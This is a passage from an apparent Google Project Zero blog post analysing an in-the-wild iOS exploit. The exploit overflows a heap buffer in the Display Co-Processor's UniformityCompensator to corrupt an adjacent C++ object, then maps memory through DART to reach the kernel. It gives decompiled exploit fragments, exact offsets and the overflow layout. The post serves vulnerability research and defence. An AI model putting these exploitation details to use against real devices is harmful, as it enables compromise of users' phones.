<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">compensator </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">CXXnew</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c4">0xC608LL</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">...</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">compensator </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> compensator</span><span class="HovzfPYjjR-c1">;</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The compensator object is a </span><span class="HovzfPYjjR-c7">0xc608</span><span> byte allocation; the </span><span class="HovzfPYjjR-c7">0xc000</span><span> sized buffer starts at offset </span><span class="HovzfPYjjR-c7">0x24</span><span> so the allocation has enough space for </span><span class="HovzfPYjjR-c7">0xc608-0x24=0xC5E4</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> bytes before corrupting neighbouring objects.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The structure input provided by the exploit for the block handler 19 </span><span class="HovzfPYjjR-c7">setBlock</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> call looks like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.ab31ebe17a793d09fa94c11be61a4134ecf08386"></a><a id="t.30"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">struct_input_for_block_handler_19</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">0x5F4</span><span class="HovzfPYjjR-c1">]</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">70</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">// controlled_size</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">struct_input_for_block_handler_19</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">0x5F8</span><span class="HovzfPYjjR-c1">]</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> address</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">struct_input_for_block_handler_19</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">0x600</span><span class="HovzfPYjjR-c1">]</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> a_size</span><span class="HovzfPYjjR-c1">;</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>This leads to a value of 70 (0x46) for </span><span class="HovzfPYjjR-c7">controlled_size</span><span> in the </span><span class="HovzfPYjjR-c7">UniformityCompensator::set</span><span> snippet shown earlier. (</span><span class="HovzfPYjjR-c7">0x5f8</span><span> and </span><span class="HovzfPYjjR-c7">0x600</span><span> correspond to the offsets we saw earlier in the subtype's table: </span><span class="HovzfPYjjR-c7"><2, 0, 0x5F8, 0x600>)</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The inner loop increments the destination pointer by </span><span class="HovzfPYjjR-c7">0x100</span><span> each iteration so </span><span class="HovzfPYjjR-c7">0x46</span><span> loop iterations will write </span><span class="HovzfPYjjR-c7">0x4618</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> bytes.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The outer loop writes to three subsequent </span><span class="HovzfPYjjR-c7">0x4000</span><span> byte blocks so the third (final) iteration starts writing at </span><span class="HovzfPYjjR-c7">0x24 + 0x8000</span><span> and writes a total of </span><span class="HovzfPYjjR-c7">0x4618</span><span> bytes, meaning the object would need to be </span><span class="HovzfPYjjR-c7">0xC63C</span><span> bytes; but we can see that it's only </span><span class="HovzfPYjjR-c7">0xc608</span><span>, meaning that it will overflow the allocation size by </span><span class="HovzfPYjjR-c7">0x34</span><span> bytes. The RTKit malloc implementation looks like it adds 8 bytes of metadata to each allocation so the next object starts at </span><span class="HovzfPYjjR-c7">0xc610</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>How much input is consumed? The input is fully consumed with no "rewinding" so it's </span><span class="HovzfPYjjR-c7">3*0x46*0x46*4 = 0xe5b0</span><span> bytes. Working backwards from the end of that buffer we know that the final </span><span class="HovzfPYjjR-c7">0x34</span><span> bytes of it go off the end of the </span><span class="HovzfPYjjR-c7">0xc608</span><span> allocation which means </span><span class="HovzfPYjjR-c7">+0xe57c</span><span> in the input buffer will be the first byte which corrupts the </span><span class="HovzfPYjjR-c7">8</span><span> metadata bytes and </span><span class="HovzfPYjjR-c7">+0x8584</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> will be the first byte to corrupt the next object:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTc6JqgJIYvcwLtg14PNyjGRL4ds-1hzVvPPYmuSbJ3TiMHTXI3loB4Ib4caBv06WwUAa2H3eEldnlVKePnyUDTxYy6-W0VyMbVSn1YrcilcuOmjeYPwzdQ0ONiWlZbc34oZBXv6hftbOK57Qu_NupLfhgI-Iqc9U51KfJVF5YRk4YmBFcYdoaH27q/s1888/Screenshot%202022-06-22%20at%2016.54.15.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="A diagram showing that the end of the overflower object overlaps with the metadata and start of the target object." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTc6JqgJIYvcwLtg14PNyjGRL4ds-1hzVvPPYmuSbJ3TiMHTXI3loB4Ib4caBv06WwUAa2H3eEldnlVKePnyUDTxYy6-W0VyMbVSn1YrcilcuOmjeYPwzdQ0ONiWlZbc34oZBXv6hftbOK57Qu_NupLfhgI-Iqc9U51KfJVF5YRk4YmBFcYdoaH27q/s1200/Screenshot%202022-06-22%20at%2016.54.15.png" style="max-height: 750; max-width: 600px;" title="A diagram showing that the end of the overflower object overlaps with the metadata and start of the target object." /></a></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">This matches up exactly with the overflow object which the exploit builds:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.87397a57c7bdef65de5578925dd0ccccbdee255a"></a><a id="t.31"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> v24 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> address </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c23">0xE584</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> v25 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_DWORD </span><span class="HovzfPYjjR-c1">*)&</span><span class="HovzfPYjjR-c0">v54</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">48</span><span class="HovzfPYjjR-c1">];</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> v26 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)&</span><span class="HovzfPYjjR-c0">v54</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">32</span><span class="HovzfPYjjR-c1">];</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> v27 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)&</span><span class="HovzfPYjjR-c0">v54</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">16</span><span class="HovzfPYjjR-c1">];</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">address </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c23">0xE584</span><span class="HovzfPYjjR-c1">)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)</span><span class="HovzfPYjjR-c0">v54</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">v24 </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">16</span><span class="HovzfPYjjR-c1">)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> v27</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_OWORD </span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">v24 </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">32</span><span class="HovzfPYjjR-c1">)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> v26</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c0">_DWORD </span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">v24 </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">48</span><span class="HovzfPYjjR-c1">)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> v25</span><span class="HovzfPYjjR-c1">;</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The destination object seems to be allocated very early and the DCP RTKit environment appears to be very deterministic with no ASLR. Almost certainly they are attempting to corrupt a neighbouring C++ object with a fake vtable pointer.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Unfortunately for our analysis the trail goes cold here and we can't fully recreate the rest of the exploit. The bytes for the fake DCP C++ object are read from a file in the app's temporary directory (</span><span>base64 encoded inside a JSON file under the </span><span class="HovzfPYjjR-c7">exploit_struct_offsets</span><span> key</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">) and I don't have a copy of that file. But based on the flow of the rest of the exploit it's pretty clear what happens next:</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.wtkqcqujjnsf"><span>sudo make me </span><span>a</span><span class="HovzfPYjjR-c16 HovzfPYjjR-c2"> DART mapping</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The DCP, like other coprocessors on iPhone, sits behind a DART (Device Address Resolution Table.) This is like an SMMU (IOMMU in the x86 world) which forces an extra layer of physical address lookup between the DCP and physical memory. </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://googleprojectzero.blogspot.com/2017/10/over-air-vol-2-pt-3-exploiting-wi-fi.html">DART was covered in great detail in Gal Beniamini's Over The Air - Vol. 2, Pt. 3 blog post</a></span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The DCP clearly needs to access lots of buffers owned by userspace tasks as well as memory managed by the kernel. To do this the DCP makes RPC calls back to the AP which modifies the DART entries accordingly. This appears to be exactly what the DCP exploit does: the D45X family of DCP->AP RPC methods appear to expose an interface for requesting arbitrary physical as well as virtual addresses to be mapped into the DCP DART.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The fake C++ object is most likely a stub which makes such calls on behalf of the exploit, allowing the exploit to read and write kernel memory.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.gkcey04fmfci"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Conclusions</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Segmentation and isolation are in general a positive thing when it comes to security. However, splitting up an existing system into separate, intercommunicating parts can end up exposing unexpected code in unexpected ways.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>We've had discussions within Project Zero about whether this DCP vulnerability is interesting at all. After all, if the </span><span class="HovzfPYjjR-c7">UniformityCompensator</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> code was going to be running on the Application Processors anyway then the Display Co-Processor didn't really introduce or cause this bug.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Whilst that's true, it's also the case that the DCP certainly made exploitation of this bug significantly easier and more reliable than it would have been on the AP. Apple has invested heavily in memory corruption mitigations over the last few years, so moving an attack surface from a "mitigation heavy" environment to a "mitigation light" one is a regression in that sense.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">Another perspective is that the DCP just isn't isolated enough; perhaps the intention was to try to isolate the code on the DCP such that even if it's compromised it's limited in the effect it could have on the entire system. For example, there might be models where the DCP to AP RPC interface is much more restricted.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">But again there's a tradeoff: the more restrictive the RPC API, the more the DCP code has to be refactored - a significant investment. Currently, the codebase relies on being able to map arbitrary memory and the API involves passing userspace pointers back and forth.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>I've discussed in recent posts how attackers tend to be ahead of the curve. As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too. We saw that in the </span><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">logic-bug sandbox escape used by NSO</a></span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> and we see that here in this memory-corruption-based privilege escalation that side-stepped kernel mitigations by corrupting memory on a co-processor instead. Both are quite likely to continue working in some form in a post-memory tagging world. Both reveal the stunning depth of attack surface available to the motivated attacker. And both show that defensive security research still has a lot of work to do.</span></p></body>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-24859894261624092702022-06-14T09:00:00.000-07:002022-06-14T09:00:24.588-07:00An Autopsy on a Zombie In-the-Wild 0-day<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');.lst-kix_vnkr79j0brd5-6>li:before{content:"\0025cf "}.lst-kix_vnkr79j0brd5-8>li:before{content:"\0025a0 "}ol.lst-kix_rpn0sahs9m0k-5.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-5 0}.lst-kix_rpn0sahs9m0k-1>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-1}.lst-kix_vnkr79j0brd5-5>li:before{content:"\0025a0 "}.lst-kix_vnkr79j0brd5-2>li:before{content:"\0025a0 "}.lst-kix_vnkr79j0brd5-4>li:before{content:"\0025cb "}ol.lst-kix_rpn0sahs9m0k-8.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-8 0}.lst-kix_vnkr79j0brd5-3>li:before{content:"\0025cf "}.lst-kix_vnkr79j0brd5-0>li:before{content:"\0025cf "}.lst-kix_vnkr79j0brd5-1>li:before{content:"\0025cb "}ol.lst-kix_omx22nj2js1z-1.start{counter-reset:lst-ctn-kix_omx22nj2js1z-1 0}.lst-kix_omx22nj2js1z-0>li{counter-increment:lst-ctn-kix_omx22nj2js1z-0}ul.lst-kix_vnkr79j0brd5-4{list-style-type:none}ul.lst-kix_vnkr79j0brd5-3{list-style-type:none}ul.lst-kix_vnkr79j0brd5-2{list-style-type:none}ul.lst-kix_vnkr79j0brd5-1{list-style-type:none}.lst-kix_omx22nj2js1z-1>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-1,lower-latin) ". "}ul.lst-kix_vnkr79j0brd5-8{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-0.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-0 0}ul.lst-kix_vnkr79j0brd5-7{list-style-type:none}.lst-kix_omx22nj2js1z-0>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-0,decimal) ". "}ul.lst-kix_vnkr79j0brd5-6{list-style-type:none}ul.lst-kix_vnkr79j0brd5-5{list-style-type:none}ul.lst-kix_vnkr79j0brd5-0{list-style-type:none}.lst-kix_vnkr79j0brd5-7>li:before{content:"\0025cb "}.lst-kix_omx22nj2js1z-2>li{counter-increment:lst-ctn-kix_omx22nj2js1z-2}.lst-kix_omx22nj2js1z-8>li{counter-increment:lst-ctn-kix_omx22nj2js1z-8}.lst-kix_3vloefecb731-0>li:before{content:"\0025cf "}ol.lst-kix_omx22nj2js1z-0.start{counter-reset:lst-ctn-kix_omx22nj2js1z-0 0}ul.lst-kix_ziaggw1wsf95-3{list-style-type:none}ul.lst-kix_ziaggw1wsf95-4{list-style-type:none}ol.lst-kix_omx22nj2js1z-7.start{counter-reset:lst-ctn-kix_omx22nj2js1z-7 0}ul.lst-kix_ziaggw1wsf95-5{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-3.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-3 0}ul.lst-kix_ziaggw1wsf95-6{list-style-type:none}ul.lst-kix_ziaggw1wsf95-0{list-style-type:none}ul.lst-kix_ziaggw1wsf95-1{list-style-type:none}ul.lst-kix_ziaggw1wsf95-2{list-style-type:none}ul.lst-kix_3vloefecb731-0{list-style-type:none}.lst-kix_3vloefecb731-5>li:before{content:"\0025a0 "}.lst-kix_3vloefecb731-4>li:before{content:"\0025cb "}.lst-kix_3vloefecb731-1>li:before{content:"\0025cb "}ul.lst-kix_3vloefecb731-8{list-style-type:none}ul.lst-kix_3vloefecb731-7{list-style-type:none}ul.lst-kix_3vloefecb731-6{list-style-type:none}ul.lst-kix_3vloefecb731-5{list-style-type:none}.lst-kix_3vloefecb731-3>li:before{content:"\0025cf "}ul.lst-kix_3vloefecb731-4{list-style-type:none}ul.lst-kix_3vloefecb731-3{list-style-type:none}.lst-kix_3vloefecb731-2>li:before{content:"\0025a0 "}ul.lst-kix_3vloefecb731-2{list-style-type:none}ul.lst-kix_3vloefecb731-1{list-style-type:none}.lst-kix_rpn0sahs9m0k-8>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-8}ol.lst-kix_omx22nj2js1z-6.start{counter-reset:lst-ctn-kix_omx22nj2js1z-6 0}.lst-kix_rpn0sahs9m0k-2>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-2}.lst-kix_rpn0sahs9m0k-5>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-5}.lst-kix_3vloefecb731-7>li:before{content:"\0025cb "}.lst-kix_3vloefecb731-6>li:before{content:"\0025cf "}.lst-kix_3vloefecb731-8>li:before{content:"\0025a0 "}ol.lst-kix_rpn0sahs9m0k-2.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-2 0}.lst-kix_omx22nj2js1z-5>li{counter-increment:lst-ctn-kix_omx22nj2js1z-5}ol.lst-kix_rpn0sahs9m0k-1.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-1 0}.lst-kix_omx22nj2js1z-4>li{counter-increment:lst-ctn-kix_omx22nj2js1z-4}.lst-kix_rpn0sahs9m0k-6>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-6}ol.lst-kix_rpn0sahs9m0k-4.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-4 0}ol.lst-kix_omx22nj2js1z-8.start{counter-reset:lst-ctn-kix_omx22nj2js1z-8 0}ol.lst-kix_omx22nj2js1z-2.start{counter-reset:lst-ctn-kix_omx22nj2js1z-2 0}ul.lst-kix_ziaggw1wsf95-7{list-style-type:none}ul.lst-kix_ziaggw1wsf95-8{list-style-type:none}.lst-kix_omx22nj2js1z-3>li{counter-increment:lst-ctn-kix_omx22nj2js1z-3}ol.lst-kix_rpn0sahs9m0k-7.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-7 0}.lst-kix_omx22nj2js1z-6>li{counter-increment:lst-ctn-kix_omx22nj2js1z-6}.lst-kix_rpn0sahs9m0k-4>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-4}.lst-kix_rpn0sahs9m0k-7>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-7}ol.lst-kix_omx22nj2js1z-5.start{counter-reset:lst-ctn-kix_omx22nj2js1z-5 0}.lst-kix_rpn0sahs9m0k-5>li:before{content:"(" counter(lst-ctn-kix_rpn0sahs9m0k-5,lower-roman) ") "}.lst-kix_rpn0sahs9m0k-6>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-6,decimal) ". "}.lst-kix_rpn0sahs9m0k-4>li:before{content:"(" counter(lst-ctn-kix_rpn0sahs9m0k-4,lower-latin) ") "}.lst-kix_rpn0sahs9m0k-8>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-8,lower-roman) ". "}.lst-kix_rpn0sahs9m0k-1>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-1,lower-latin) ") "}.lst-kix_rpn0sahs9m0k-2>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-2,lower-roman) ") "}.lst-kix_rpn0sahs9m0k-3>li:before{content:"(" counter(lst-ctn-kix_rpn0sahs9m0k-3,decimal) ") "}.lst-kix_omx22nj2js1z-2>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-2,lower-roman) ". "}.lst-kix_rpn0sahs9m0k-3>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-3}.lst-kix_omx22nj2js1z-3>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-3,decimal) ". "}ol.lst-kix_omx22nj2js1z-3.start{counter-reset:lst-ctn-kix_omx22nj2js1z-3 0}ol.lst-kix_rpn0sahs9m0k-7{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-8{list-style-type:none}.lst-kix_omx22nj2js1z-5>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-5,lower-roman) ". "}.lst-kix_ziaggw1wsf95-0>li:before{content:"\0025cf "}.lst-kix_rpn0sahs9m0k-0>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-0,decimal) ") "}.lst-kix_omx22nj2js1z-4>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-4,lower-latin) ". "}.lst-kix_omx22nj2js1z-7>li{counter-increment:lst-ctn-kix_omx22nj2js1z-7}.lst-kix_omx22nj2js1z-7>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-7,lower-latin) ". "}ol.lst-kix_rpn0sahs9m0k-1{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-2{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-0{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-5{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-6{list-style-type:none}.lst-kix_omx22nj2js1z-6>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-6,decimal) ". "}ol.lst-kix_rpn0sahs9m0k-3{list-style-type:none}ol.lst-kix_rpn0sahs9m0k-6.start{counter-reset:lst-ctn-kix_rpn0sahs9m0k-6 0}.lst-kix_omx22nj2js1z-1>li{counter-increment:lst-ctn-kix_omx22nj2js1z-1}ol.lst-kix_rpn0sahs9m0k-4{list-style-type:none}.lst-kix_ziaggw1wsf95-6>li:before{content:"\0025cf "}ol.lst-kix_omx22nj2js1z-0{list-style-type:none}.lst-kix_ziaggw1wsf95-5>li:before{content:"\0025a0 "}.lst-kix_ziaggw1wsf95-7>li:before{content:"\0025cb "}.lst-kix_ziaggw1wsf95-4>li:before{content:"\0025cb "}.lst-kix_ziaggw1wsf95-8>li:before{content:"\0025a0 "}.lst-kix_omx22nj2js1z-8>li:before{content:"" counter(lst-ctn-kix_omx22nj2js1z-8,lower-roman) ". "}ol.lst-kix_omx22nj2js1z-6{list-style-type:none}.lst-kix_ziaggw1wsf95-2>li:before{content:"\0025a0 "}ol.lst-kix_omx22nj2js1z-5{list-style-type:none}ol.lst-kix_omx22nj2js1z-4.start{counter-reset:lst-ctn-kix_omx22nj2js1z-4 0}ol.lst-kix_omx22nj2js1z-8{list-style-type:none}.lst-kix_ziaggw1wsf95-1>li:before{content:"\0025cb "}.lst-kix_ziaggw1wsf95-3>li:before{content:"\0025cf "}ol.lst-kix_omx22nj2js1z-7{list-style-type:none}ol.lst-kix_omx22nj2js1z-2{list-style-type:none}ol.lst-kix_omx22nj2js1z-1{list-style-type:none}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ol.lst-kix_omx22nj2js1z-4{list-style-type:none}ol.lst-kix_omx22nj2js1z-3{list-style-type:none}.lst-kix_rpn0sahs9m0k-0>li{counter-increment:lst-ctn-kix_rpn0sahs9m0k-0}.lst-kix_rpn0sahs9m0k-7>li:before{content:"" counter(lst-ctn-kix_rpn0sahs9m0k-7,lower-latin) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.ZslSztaQWN-c45{border-right-style:solid;padding-top:1.7pt;border-top-width:0pt;border-right-width:0pt;padding-left:8.5pt;padding-bottom:4.2pt;line-height:1.5;border-left-width:0pt;border-top-style:solid;border-left-style:solid;border-bottom-width:0pt;border-bottom-style:solid;text-align:left;padding-right:0pt}.ZslSztaQWN-c9{border-right-style:solid;padding:0pt 4pt 0pt 4pt;border-bottom-color:#999988;border-top-width:1pt;border-right-width:1pt;border-left-color:#d7d7d7;vertical-align:top;border-right-color:#00aa00;border-left-width:1pt;border-top-style:solid;background-color:#eeeedd;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#999988;border-bottom-style:solid}.ZslSztaQWN-c49{border-right-style:solid;padding:1pt 2pt 1pt 